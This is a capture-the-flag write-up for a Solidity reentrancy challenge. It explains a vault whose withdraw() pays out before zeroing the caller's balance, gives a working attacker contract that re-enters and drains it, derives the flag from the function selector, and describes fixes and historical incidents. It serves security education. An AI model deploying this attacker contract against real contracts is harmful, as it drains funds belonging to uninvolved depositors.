CTF Writeup

The Vault That Ate Itself — CTF Writeup

Platform: Perfect Root (AfricaHackon) **Room:** The Vault That Ate Itself **Author:** LordSudo **Difficulty:** Easy **Points:** 100 **Category:** Smart Contract — Reentrancy (SWC-107 / CWE-841) **Result:** Solved (1/1 flag captured) **Date:** 2026-10-15

Description

> A shared savings vault lost its entire balance during what internal logs show as a single withdrawal transaction; including funds belonging to users who never withdrew. You're given the vault's full source code and no live instance. Identify the function responsible for the loss, confirm the exploit locally, and derive the flag from the vulnerable function's own signature.

Flag

`r00t{3ccfd60b}`

`3ccfd60b` is the first four bytes of `keccak256("withdraw()")` — the **function selector** of the vulnerable entrypoint `Vault.withdraw()`.

Executive Summary

The `Vault` contract contains a textbook **reentrancy** vulnerability in `withdraw()`. It transfers ETH to `msg.sender` *before* zeroing the caller's balance, so a malicious contract can re-enter `withdraw()` while its balance is still recorded as non-zero, recursively draining the vault in a single transaction. The victim set includes every depositor in the vault — the attacker only needs one deposit to seed the loop.

The vulnerable function's canonical signature is `withdraw()`, whose selector is `0x3ccfd60b`. Stripped of its `0x` prefix, that selector is the flag.

Source Analysis

The provided file `Vault.sol` (pragma ^0.8.19) contains:

- `balances: mapping(address => uint256)` — depositor balances
- `owner: address` — deployer
- `deposit()` — payable, credits `balances[msg.sender]`
- `withdraw()` — **vulnerable**
- `emergencyWithdrawAll()` — decoy; requires `tx.origin == owner`

- `receive()` — payable fallback that also credits `balances[msg.sender]`

The vulnerable function

```
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "nothing to withdraw");

    (bool success, ) = msg.sender.call{value: amount}("");   // external call
    require(success, "transfer failed");

    balances[msg.sender] = 0;                                 // state AFTER call
    emit Withdraw(msg.sender, amount);
}
```

Reading order is wrong for the EVM:

1. Read the caller's balance into `amount`.
2. Send ETH to `msg.sender` via a low-level `call`.
3. Zero the caller's balance **after** the transfer succeeds.

Between (2) and (3), control has left the `Vault` and entered the caller's code. If the caller is a contract, its `receive()` or `fallback()` executes with the vault's state still reflecting the old balance. It can re-enter `withdraw()`, read the same non-zero `amount`, and get paid again.

What's NOT the bug (decoys)

- `emergencyWithdrawAll()` requires `tx.origin == owner`. The comment in the source explicitly says this can never be satisfied by an attacker in this deployment and has no bearing on drainability. It is a red herring.
- `receive()` also lacks reentrancy protection, but it only credits a balance; it is a path the attacker can use to deposit, not to drain.
- `deposit()` — no external calls; not exploitable.

Root cause

Violation of the **Checks-Effects-Interactions (CEI)** pattern. The "effect" (zeroing the balance) must occur before the "interaction" (external ETH transfer).

Exploit — Attacker Contract

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IVault {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVault public vault;
    uint256 public constant TICK = 1 ether;
```

```
    constructor(address _vault) {
        vault = IVault(_vault);
    }

    function attack() external payable {
        require(msg.value == TICK, "send 1 ether to seed");
        vault.deposit{value: TICK}();   // balances[Attacker] = 1 ETH
        vault.withdraw();               // trigger the reentrancy loop
    }

    receive() external payable {
        // Runs inside Vault.withdraw() BEFORE balances[Attacker] is zeroed.
        if (address(vault).balance >= TICK) {
            vault.withdraw();           // re-enter while balance still non-zero
        }
    }
}
```

Drain sequence (single transaction)

1. Attacker calls `attack{value: 1 ether}()`.
2. `attack` calls `vault.deposit{value: 1 ether}()`.
   - `balances[Attacker] = 1 ether`. Vault balance = existing + 1.
3. `attack` calls `vault.withdraw()`.
   - `amount = balances[Attacker] = 1 ether`.
   - `msg.sender.call{value: 1 ether}("")` sends ETH to `Attacker`.
   - Control enters `Attacker.receive()`. At this instant `balances[Attacker]` is **still 1 ether** — not yet zeroed.
   - `receive()` sees `vault.balance >= 1 ether` and calls `vault.withdraw()` again.
   - Goto step 3. The loop runs until `vault.balance < TICK`.
4. Unwinding: each frame now executes `balances[msg.sender] = 0;` — but the ETH is already in the attacker's contract.
5. Post-conditions: `vault.balance` ≈ 0; every other depositor's balance is still recorded in `balances` but backed by nothing.

Why "a single withdrawal transaction"

Every recursive `withdraw()` call happens inside one outer EVM transaction. Gas is the only practical limit, and looping `1 ether` at a time stays well within typical mainnet gas budgets for a small vault. Block explorers and internal logs will show one call to `attack()`, which is why the incident report describes it that way.

Flag Derivation

The challenge asks for the flag "from the vulnerable function's own signature." The canonical Solidity signature of `withdraw()` is the empty-argument form `withdraw()`, and its selector is the first four bytes of the keccak-256 of that string.

```
signature  = "withdraw()"
hash       = keccak256("withdraw()")
           = 0x3ccfd60b2e3ddce51ab210bfb9db13577f03a21684fa35e4bcd739dd5a30bda2
selector   = 0x3ccfd60b            (first 4 bytes)
```

```
flag       = r00t{3ccfd60b}        (no 0x prefix)
```

Verified with Foundry:

```
$ cast sig "withdraw()"
0x3ccfd60b
```

and independently with Python:

```
$ python3 -c 'from eth_hash.auto import keccak; print(keccak(b"withdraw()")[:4].hex())'
3ccfd60b
```

Real-World Impact — Why This Matters

The DAO hack (June 2016)

A reentrancy bug of exactly this shape drained approximately **3.6 million ETH (~$60M at the time)** from The DAO, a shared-investment vault on Ethereum. The attacker recursively re-entered `splitDAO()` before the contract updated internal balances, siphoning funds into a child DAO under their control. The fallout included a contentious hard fork of Ethereum (producing ETH and Ethereum Classic) and remains the single most consequential smart-contract exploit in history.

General impact profile

- **Total loss of protocol funds** — every depositor, not just the attacker, loses their balance.
- **Atomicity** — the entire drain happens in one transaction; there is no window to pause, upgrade, or intervene once the tx is included.
- **Composability amplification** — a drain of one protocol can cascade into every protocol that relies on it (lending markets, DEX pools, yield aggregators).
- **Detection is retrospective** — monitoring sees it after the block is mined; prevention must live in the contract.

Historical examples beyond The DAO

- **Cream Finance** (2021) — reentrancy via ERC-777 hooks, ~$130M.
- **Fei / Rari** (2022) — reentrancy, ~$80M.
- **Curve / Vyper** (2023) — reentrancy from a compiler bug, ~$70M.

How This Happens in Real Codebases

1. **Natural reading order is wrong for the EVM.** Developers write "read balance → send funds → update balance" because that mirrors how a human would perform a bank transfer. On-chain, that ordering hands the recipient the ability to re-enter the sender.
2. **Hidden external calls.** Any `.call{value:}`, `.transfer()`, or `.send()` transfers control to the recipient. Wrapping the recipient address in a contract with a malicious `receive()` is trivial and requires no privileged access.
3. **Multi-function reentrancy.** The attacker is not limited to re-entering `withdraw()`. The same stale state can be exploited through `claim()`, `transfer()`, `liquidate()`, or any function that reads `balances[msg.sender]` before it is settled.

4. **Shared state, cross-contract.** In DeFi, re-entering a *different* protocol that shares a price oracle or vault can compound losses far beyond the original contract.
5. **No guard, no tests.** In the vulnerable source, there is no `nonReentrant` modifier, and there is no unit test that calls `withdraw()` from a contract with a reentrant `receive()`. Ordinary EOA-based tests will never trigger the bug.

Fixes (Defensive)

1. Checks-Effects-Interactions (CEI)

Settle all state before any external interaction.

```
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "nothing to withdraw");

    balances[msg.sender] = 0;                          // effect first

    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "transfer failed");

    emit Withdraw(msg.sender, amount);
}
```

2. ReentrancyGuard modifier

Defense in depth from OpenZeppelin:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard {
    function withdraw() external nonReentrant { ... }
}
```

`nonReentrant` sets a storage flag at function entry and clears it at exit; any recursive call reverts before executing the body.

3. Pull-over-push payment

Never push ETH to arbitrary addresses; make the user pull.

```
mapping(address => uint256) public pendingWithdrawals;

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "nothing");
    balances[msg.sender] = 0;
    pendingWithdrawals[msg.sender] += amount;
}

function claim() external nonReentrant {
    uint256 amount = pendingWithdrawals[msg.sender];
    pendingWithdrawals[msg.sender] = 0;
    (bool ok, ) = msg.sender.call{value: amount}("");
```

```
    require(ok, "fail");
}
```

4. Static analysis in CI

- **Slither** — detects CEI violations and unguarded external calls.
- **Mythril** — symbolic execution, will flag reentrancy.
- **Aderyn** — fast Rust-based detector, good defaults for CEI.

5. Tests that actually exercise the bug

Write an attacker contract in your Foundry test suite that re-enters `withdraw()`. If it can drain the vault in a local fork, the modifier isn't doing its job.

Key Takeaways

- **Reentrancy is not exotic.** It ships in production in 2026 because the natural reading order is the wrong order for the EVM.
- **State must be safe before any external interaction.** Zero balances, then pay.
- **The function selector is a stable identifier.** `keccak256(name(argTypes))` gives a 4-byte fingerprint of an entrypoint. Two different contracts with the same function have the same selector.
- **One transaction can be a recursive drain.** Transaction count is not a bound on how many times state can be read or written during execution.
- **Decoys are common in audits.** The `emergencyWithdrawAll()` function looked like a backdoor and was deliberately misdirecting — reading the source carefully before jumping on the most suspicious function pays off.

Tools Used

- `eth_hash` (Python) — for keccak-256 and selector derivation
- Foundry `cast sig` — cross-check
- Standard source review

Commands That Worked

```
# carve the source out of the archive
unzip 'The Vault That Ate Itself.zip' -d vault
cat */*.sol

# compute the selector
cast sig "withdraw()"
# or
python3 -c 'from eth_hash.auto import keccak; print(keccak(b"withdraw()")[:4].hex())'
```

Commands That Did NOT Work (and why)

```
# Space in the directory name broke the for-loop word-splitting
for f in $(find . -type f ! -path "*__MACOSX*"); do cat "$f"; done
# Fix: use `cat */*.sol`, or `find ... -print0 | while IFS= read -r -d ''`
```

Why the Original Heredoc Failed

Pasting a markdown file that contains triple-backtick fences into a `cat << EOF` heredoc breaks because **zsh processes backticks as command substitution before the heredoc terminator is seen**. The opening ```` ```solidity ```` starts a substitution, the shell keeps reading, and the terminator `PART2` is consumed as part of the substitution — leaving the shell at `heredoc>`.

Fix options:

1. Use `~~~` fences in markdown (pandoc renders them identically).
2. Write the file with `nano` or `vim` — no shell parsing.
3. Use `find ... -print0 | xargs -0` to move content, or pipe through `tee`: `tee file.md > /dev/null << 'HEREDOC_TERMINATOR'`.
4. Escape backticks as “‘ inside the heredoc — cumbersome and error-prone. EOF